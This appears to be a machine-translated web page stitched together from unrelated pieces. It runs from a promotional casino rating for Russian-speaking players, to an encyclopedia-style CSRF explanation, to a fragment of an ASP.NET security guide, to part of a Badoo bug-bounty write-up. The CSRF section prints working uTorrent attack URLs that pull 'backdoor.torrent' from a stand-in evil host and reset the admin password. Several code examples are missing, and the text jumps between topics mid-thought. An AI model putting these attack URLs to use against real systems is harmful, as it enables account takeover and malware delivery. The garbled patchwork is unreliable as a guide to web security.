Finding reliable and honest online casinos requires a lot of free time, especially when it comes to beginners. It is necessary to evaluate the transparency of the gaming club, online reputation, feedback from other users, payout speed and many other performance factors. To save the players from a similar fate, we have compiled casino rating , which have been thoroughly tested and confirmed their own honesty and good returns on slot machines.

Our rating of the best casinos

You no longer need to spend personal time checking the reliability of the institution. Experienced analysts who specialize in gambling and spend dozens of hours in casinos every month have made their own objective assessment of the work of gaming clubs. They analyzed hundreds of establishments to ultimately offer users the best platforms available on the Internet.

The initial list of clubs was quite large, but in the process of analysis dubious and unreliable institutions fell away. For example, the presence of a fake license, the absence of certificates for slots, the substitution of the server in the slot machine, and much more serve as a warning to experts. Even one factor that allows you to doubt the honesty of the casino is a reason for exclusion from the rating.

In addition to a superficial analysis of gaming platforms, information about establishments on the Internet is checked. Reputation in the network, reviews of current and former players, the presence of conflict situations, casino scandals and ways to solve problems from the creators are taken into account in the analysis. Particular attention is paid to young clubs with up to 1-2 years of experience.

How is the casino rating compiled and who gets there?

For creating rating of licensed casinoswe attract experienced gamblers and analysts with over 10 years of experience in the industry. Thanks to their knowledge, they easily weed out fraudulent clubs, and then conduct a thorough analysis of the remaining establishments. The result is a small list of reliable casinos where you can safely play without fear for the honesty of the results and payouts.

• availability of a license from the gambling regulator and the chosen jurisdiction for registration;
• platform security, which guarantees the confidentiality of data and payment information;
• selection of licensed software from reliable providers, whose work cannot be interfered with;
• the presence of a Russian-language version for greater convenience of users from Russia and the CIS countries;
• support service, including the schedule of its work, the speed of responses, the quality of problem resolution;
• withdrawal of money without additional delays or verifications, as well as options for receiving money and the speed of processing transactions;
• bonus programs for new and regular users, availability of tournaments, lotteries, periodic promotions;
• payment systems that affect the convenience of customers to replenish an account and withdraw winnings.

This is just a small list of current requirements that are evaluated by experts. Each criterion receives its own coefficient of importance, which is taken into account when summing up the final result.

What is a licensed casino?

Casino Rating , indicating the honesty and transparency of the work of gaming platforms, may consist exclusively of establishments with valid operating licenses. Legitimate clubs are required to pass regulatory scrutiny and comply with all of their rules in order to be approved.

Just mentioning the presence of a license on the site is not enough. Experts understand that scammers can use logos to deceive naive users, so they analyze the information themselves. To do this, go to the official website of the regulator and confirm the information using the document number or the name of the legal entity. If there is no license information, then it is a fake.

Analysts also use technical analysis to check licensed software. With the help of developer tools, they get access to information about the data transfer server. If the casino uses the official portal of the software provider, then the software is honest and legal. This means that it is impossible to interfere in its work and twist the final results.

How is casino honesty determined?

It is quite difficult to independently assess the honesty of a gaming club, which is due to the amount of resources and knowledge available. Before inclusion of establishments inrating of honest casinos, analysts conduct a thorough check of many factors:

• the regions where the players are accepted from, as prohibited jurisdictions speak volumes;
• withdrawal limits that limit one-time transactions, as well as the daily, weekly and monthly amount of transactions;
• availability of information about KYC and AML, which indicates compliance with the requirements of the legislation on the honesty and legality of the origin of money;
• a reputation that confirms the honesty and reliability of the club and the absence of high-profile scandals or problems;
• the duration of the work, allowing you to fully evaluate the history of the online resource, including all the advantages and disadvantages;
• the presence of a regulator and compliance with its rules, which increases the chances of fairness.

The license and the regulator are quite an important criterion, but this does not give a 100% guarantee of honesty. Only clubs that allowed players to get big winnings and jackpots, gave gifts for lotteries and tournaments, can count on such a title.

Varieties of slot machines

The number of slots, machines and other types of gambling entertainment says a lot about the institution. Some clubs cooperate with only a few software providers, but receive popular and new game offers from them, while others expand the network of partnership agreements and invite a huge number of brands to cooperate. The more slot machines are presented on the gaming platform, the easier it is for the client to choose the slot they like.

But rating of licensed casinostakes into account not only the variety of games, but also their quality. Reliable gaming establishments use exclusively licensed software that has been tested for honesty and security. Such machines allow you to count on a return of up to 98%, and you cannot interfere in their work and tweak the algorithm for generating results.

To be frank, all sites are aimed at making a profit. Even if one of the players wins the jackpot, the casino remains in the black in the long run. But only honest clubs allow users to get a big jackpot and withdraw it to a real account. This is what distinguishes licensed online casinos from fraudulent projects.

Bonus policy

Create a casino rating without taking into account the bonus policy is impossible. All gaming clubs use promotions and gifts to attract new and retain existing customers. But some institutions act quite cunningly, creating hidden conditions for wagering or accruals, setting unrealistic wagering conditions ranging from x60-100, which are almost impossible to fulfill.

The standard set of incentives consists of the following categories:

1. No deposit bonus for welcoming new customers - awarded for confirmation of email address and phone number. As a reward, free money or free spins on slot machines with a mandatory wagering condition are used.
2. Registration gift - free spins or multipliers of the amount of replenishment of the account for 1-5 deposits from the moment of creating a personal profile. The exact amount of the bonus and the maximum limits are set individually by each club.
3. Loyalty program - various user status systems that affect the size of the weekly cashback, the availability of personal terms of service, individual gifts, a favorable exchange rate of internal currency for money, and much more.
4. Promo codes are periodic promotions from gaming clubs that distribute gift certificates for free spins, no deposit bonuses or account multipliers for everyone.

Russian-language casinos

Composing rating of the best casinos in 2020, the presence of the Russian language on the platform is taken into account. The Russian-language interface allows users from Russia, Belarus, Ukraine and the CIS countries to easily deal with registration, login, account replenishment and other features of the platform. It also confirms that the institution is focused on Russian-speaking users, offering them unique bonuses and support.

The work of the support service is taken into account. Most gambling clubs provide assistance to clients exclusively in English, which makes communication difficult. You need to use a translator or contact knowledgeable people to make a request and understand the support response. Therefore, the rating includes only those online clubs that advise clients in support chats and by phone in Russian.

The Russian-language interface in the casino will allow you to understand the user rules of the platform without additional effort, study bonus offers and the features of their accruals, wagering, take part in tournaments and lotteries without any doubt about the correctness of the actions.

Casino with fast withdrawals

Particular attention is paid to the speed of payouts in online casinos. Some clubs offer withdrawals to bank cards and e-wallets within a few hours, and for VIP clients they process requests instantly. Others use manual processing of applications on working days according to a special schedule, so payments can be delayed up to 1-3 business days from the moment the application is made. To save users from a long wait, createdfast withdrawal casino rating.

It consists exclusively of those institutions that promptly consider all applications and do not create obstacles for receiving money. Not only the speed of transfers is taken into account, but also the absence of problems when requesting large payouts or money transfers after winning the jackpot, a big jackpot. Only honest establishments can guarantee the fairness of payments and the absence of problems with payments.

It also analyzes the available payment systems for deposits and requests for money. Standard sites support a minimal number of ways, but progressive clubs are constantly analyzing trends to integrate new technical solutions.

The main payment systems in online casinos:

• bank cards MIR, MasterCard, Visa;
• electronic wallets QIWI, Yandex, Webmoney, Neteller, Skrill and others;
• mobile payments Beeline, MegaFon, MTS, TELE2;
• Russian internet banking;
• popular cryptocurrencies including Bitcoin, Ethereum, Litecoin.

User technical support service

An important factor that was taken into account in order to createrating of honest casinos- Availability of customer support service and the quality of its work. Reliable establishments take care of their own client base, so they organize special telephone lines, as well as online chats for prompt response to user questions and solving their problems.

Analysts used phone lines, live chats, and email contacts to analyze support. At different times of the day, the site staff received various questions or requests to deal with technical problems. After that, an assessment of the quality of their work was carried out, which included the following factors:

• speed of providing answers;
• whether the consultant solves the problem and how much time it took;
• literacy of answers and the presence of Russian-speaking employees in support.

If the casino does not have Russian-speaking operators, we recommend using an online translator from Google to translate questions and answers of consultants.

findings

Before registering in an online club, you need to analyze the reliability, transparency of its work, as well as check the reputation and reviews on the network. Instead, we suggest usingrating of honest casinoscompiled by experienced gamblers. With the help of their own experience, they rejected dozens of suspicious gaming clubs, leaving the best establishments of 2020 in the list.

Cross-Site Forgery Request, also known as one click attack or riding session and abbreviated CSRF(sometimes pronounced tidal bore) or XSRF, is a type of malware exploited from a website where unauthorized commands are sent from a user that the web application trusts. There are many ways in which a malicious website can send such commands; specially crafted image tags, hidden forms, and JavaScript XMLHttpRequests, for example, can all work without user interaction or even knowledge. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in the user's browser.

story

CSRF vulnerabilities are known and have been exploited in some cases since 2001. Since it is performed from the user's IP address, some website logs may not have CSRF evidence. Exploits are underreported, at least publicly, and as of 2007 there were several well-documented examples:

• The Netflix website in 2006 had numerous CSRF vulnerabilities that could allow an attacker to perform actions such as adding a DVD to the victim's rental queue, changing the delivery address on the account, or changing the victim's login credentials to completely compromise the account.
• The online banking web application ING Direct was vulnerable to CSRF attacks, which allowed illegal money transfers.
• The popular video website YouTube was also vulnerable to CSRF in 2008, and this allowed any attacker to perform almost all the actions of any user.
• McAfee is also vulnerable to CSRF, which allowed attackers to modify their company system.

New attacks on web devices were carried out in 2018, including attempts to change the DNS settings of routers. Some router manufacturers hastily released firmware updates to improve security, and advised users to change router settings to reduce the risk. Details were not released, citing "obvious security concerns".

Example and specifications

Attackers who can find a reproducible link that performs a certain action on a landing page while the victim is logging in can embed such a link on a page they control and trick the victim into opening it. The carrier attack link can be placed in a location that the victim is likely to visit by logging into the target site (such as a forum discussion), or sent in an HTML email body or attachment. The real CSRF vulnerability in utorrent (CVE-2008-6586) exploited the fact that its web console is available on localhost: 8080 allowed critical actions to be performed with a simple GET request:

Force .torrent file download http://localhost:8080/gui/action=add url&s=http://evil.example.com/backdoor.torrent Change admin password utorrent http://localhost:8080/gui/action =setsetting&s=webui.password&v=eviladmin

The attacks were launched by posting malicious, automated HTML image elements on forums and email spam so that browsers visiting those pages would open them automatically, without much action on the part of the user. People running a vulnerable version of utorrent at the same time as opening these pages were exposed to the attack.

CSRF attacks using image tags are often done from internet forums where users can post images, but not JavaScript, such as using BBCode:

http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

When accessing an attack link on a local utorrent application on localhost: 8080 , the browser will also always automatically send any existing cookies for that domain. This common property of web browsers allows CSRF attacks to exploit their targeted vulnerabilities and perform hostile actions as long as the user is logged into the target website (in this example, the local utorrent web interface) at the time of the attack.

Cross-site request spoofing is a confusing proxy attack against a web browser.

CSRF typically has the following characteristics:

• It includes sites that rely on the user's identity.
• It uses the site's trust in that identity.
• It tricks the user's browser into sending HTTP requests to the target site.
• It includes HTTP requests that have side effects.

HTTP verbs and CSRF

• In HTTP GET exploitation of CSRF is trivial, using the methods described above, such as a simple hyperlink containing manipulated parameters and automatically loaded using the IMG tag. According to the HTTP specification however, GET should be used as a safe method, i.e. not significantly changing the state of the user in the application. Applications that use GET for such operations should switch to HTTP POST or use CSRF protection.
• HTTP POST has various CSRF vulnerabilities, depending on the detailed use cases:
  • In its simplest POST form with data encoded as a query string (field1=value1&field2=value2) CSRF attacks are easily implemented with a simple HTML form and anti-CSRF measures must be applied.
  • If the data is sent in any other format (JSON, XML) the standard method is to issue a POST request using XMLHttpRequest with CSRF attacks prevented by SOP and ; there is a method for submitting arbitrary content from a simple HTML form using the ENCTYPE attribute; such a fake request can be distinguished from legitimate ones by the text/plain content type, but if this is not executed on the server, CSRF can be performed
• other HTTP methods (PUT, DELETE, etc.) can only be issued using XMLHttpRequest with SOP and CSRF prevention; However, these measures will not be active on websites that explicitly disable them using the Access-Control-Allow-Origin: * header

Other approaches to CSRF

Additionally, while typically described as a static type of attack, CSRF can also be dynamically built as part of the payload for cross-site attack scenarios, as shown by the Samy worm, or built on the fly from session information leaked through exit content. and sent to the target as a malicious URL. CSRF tokens can also be sent by an attacker client due to session fixation or other vulnerabilities, or guessed by a brute force attack, translated into a malicious page that generates thousands of failed requests. The "Dynamic CSRF" attack class, or using a per-client payload for a specific forgery session, was described in 2009 by Nathan Hamiel and Sean Moyer at BlackHat briefings, although the taxonomy is yet to gain wider application.

A new vector for composing dynamic CSRF attacks was presented by Oren Ofer at the January 2012 local OWASP chapter meeting - "AJAX Hammer - Dynamic CSRF".

Effects

Severity indicators have been released on CSRF vulnerabilities that lead to remote code execution with root privileges, as well as a vulnerability that could compromise the root certificate, which would completely undermine the public key infrastructure.

Restrictions

Several things must happen for a cross-site forgery request to succeed:

1. The attacker must target either a site that does not check the referrer header or the victim using a browser or a plugin that allows Referer spoofing.
2. The attacker needs to find a form submission on the target site, or a URL that has side effects that does something (like transfer money, or change the victim's email address or password).
3. The attacker must determine the correct values ​​for all forms or URL inputs; if any of these are supposed to be secret authentication values ​​or identifiers, that the attacker won't be able to guess what the attacker is likely to be unable to (unless the attacker is very lucky in their guess).
4. The attacker needs to lure the victim to a web page with malicious code while the victim logs into the target site.

The attack is blind: the attacker cannot see what the target site sends back to the victim in response to forged requests unless they are exploiting cross-site scripting or another bug on the target site. Also, an attacker can only target any link or submit any form that comes after the initial forged request, if those subsequent links or forms are just as predictable. (Multiple targets can be simulated by including multiple images on a page, or by using JavaScript to introduce a delay between clicks.)

Given these limitations, an attacker may have difficulty finding victim anonyms or a vulnerable form of presentation. On the other hand, attack attempts are easily mounted and invisible to victims, and application developers are less familiar and prepared for CS attacks than they are for, say, password cracking dictionary attacks.

prevention

Most CSRF prevention methods work by injecting additional authentication data into requests, which allows the web application to detect requests from unauthorized locations.

Synchronizer model marker

• Upon login, the web application sets a cookie containing a random token that remains the same throughout the user's session

Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max Age=31449600; Path=/

• JavaScript running on the client side reads the value and copies it into a custom HTTP header sent with every transactional request

X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql

• The server checks the presence and integrity of the tokens

The security of this method is based on the assumption that only JavaScript running within the same origin will be able to read the cookie's value. JavaScript running on a rogue file or email will not be able to read and copy the custom header. Even though the CSRF token cookies will be automatically sent with a rogue request, the server will still expect a valid X-CSRF token header .

The CSRF token itself must be unique and unpredictable. This can be randomly generated, or it can be derived from session tokens using HMAC :

Csrf_token = HMAC(session_token, application_secret)

The CS cookie token should not have the HTTPOnly flag, as it is intended to be read by JavaScript design.

This method is implemented by many modern frameworks such as Django and AngularJS. Because the token remains constant throughout the user's session, it works well with AJAX applications, but does not provide event sequencing in web applications.

The protection provided by this method can be thwarted if the target website disables its same-origin policy using one of the following methods:

• Permissive Access-Control-Allow-Origin header (with argument asterisk)
• clientaccesspolicy.xml file granting unintentional access to the Silverlight control
• crossdomain.xml file providing unintentional access to flash movies

Double Send Cookie

Similar to the cookie-to-header approach, but without the involvement of JavaScript, the site can set the CSRF token as a cookie, and insert it in a hidden field in every HTML form sent by the client. When the form is submitted, the site can check that the cookie token matches the shape of the cookies. The common origin policy prevents an attacker from reading or setting cookies on the target domain, so they cannot put the correct token in their created form.

The advantage of this method over the synchronizer pattern is that the token does not have to be stored on the server.

Customer Guarantees

Browser extensions such as RequestPolicy (for Mozilla Firefox) or Umatrix (both for Firefox and Google Chrome/Chromium) can prevent CSRF by providing a default deny policy for cross-site requests. However, this can significantly interfere with the normal operation of many sites. The CsFire extension (also for Firefox) can mitigate the impact of CSRF with less impact on normal browsing by removing authentication information from cross site requests.

ASP.NET MVC is not the most hyped, but quite popular stack in the web development environment. From an (anti)hacker's point of view, its standard functionality gives you some basic level of security, but additional protection is needed to protect against the vast majority of hacker tricks. In this article, we'll cover the basics that an ASP.NET developer (be it Core, MVC, MVC Razor, or Web Forms) should know about security.

Let's start with the well-known types of attacks.

SQL Injection

Oddly enough, but in 2017, injection and, in particular, SQL injection are in first place among the “Top 10 OWASP Security Risks” (Open Web Application Security Project). This type of attack implies that the data entered by the user is used on the server side as query parameters.

An example of a classic SQL injection is more specific to Web Forms applications. Using parameters as query values ​​helps protect against attacks:

String commandText = "UPDATE Users SET Status = 1 WHERE CustomerID = @ID;"; SqlCommand command = new SqlCommand(commandText, connectionString); command.Parameters["@ID"].Value = customerID;

If you are developing an MVC application, then the Entity Framework covers some vulnerabilities. You need to manage to get the SQL injection that worked in the MVC / EF application. However, this is possible if you are executing SQL with ExecuteQuery or calling poorly written stored procedures.

Although the ORM avoids SQL injection (with the exception of the examples above), it is recommended that attributes be limited to the values ​​that model fields, and therefore form fields, can take. For example, if it is assumed that only text can be entered in the field, then use Regex to specify the range ^+$ . And if numbers must be entered in the field, then indicate this as a requirement:

Public string Zip ( get; set; )

In Web Forms, you can restrict values ​​using validators. Example:

Since .NET 4.5 Web Forms use Unobtrusive Validation. This means that you do not need to write any additional code to check the value of the form.

Data validation, in particular, can help protect against another well-known vulnerability called cross-site scripting (XSS).

XSS

A typical example of XSS is adding a script to a comment or guestbook entry. It may look like this:

As you understand, in this example, cookies from your site are passed as a parameter to some hacker resource.

In Web Forms, you can make a mistake with code like this:

Sorry<%= username %>but the password is wrong

It is clear that instead of username there can be a script. To avoid script execution, you can at least use another ASP.NET expression: , which encodes its content.

If we use Razor, then the strings are automatically encoded, which reduces the possibility of implementing XSS to a minimum - a hacker can only do it if you make a gross mistake, for example, use @Html.Raw(Model.username) or use MvcHtmlString instead of string in your model.

For additional protection against XSS, the data is also encoded in C# code. In .NET Core, you can use the following encoders from the System.Text.Encodings.Web namespace: HtmlEncoder , JavaScriptEncoder , and UrlEncoder .

The following example will return the string 6 7 8

Basically, when a victim loads a page, they make a request to the Badoo script, grab the rt parameter for that user, and then make the request on behalf of the victim. In this case, it was linking Mahmoud's account to the victim's account, which allowed the account to be completely taken over.

findings

Where there is smoke, there is fire. Here, Mahmoud noticed that the rt parameter was being returned in various places, in specific json responses. So he correctly guessed that it could be shown somewhere where it could be used in this case in a js file.

Results

CSRF attacks represent another dangerous attack vector and can be carried out with little or no victim notification. Finding CSRF vulnerabilities requires some ingenuity and, again, the desire to test everything.

Generally, forms are protected by default by frameworks like Rails if the site makes a POST request, but APIs can

be a separate story. For example, Shopify is written primarily based on the Ruby on Rails framework, which provides CSRF protection for all forms by default (although it can be turned off). However, this is obviously not necessarily the case for APIs built with this framework. Finally, pay attention to calls that modify data on the server (such as a delete action) and are made with a GET request.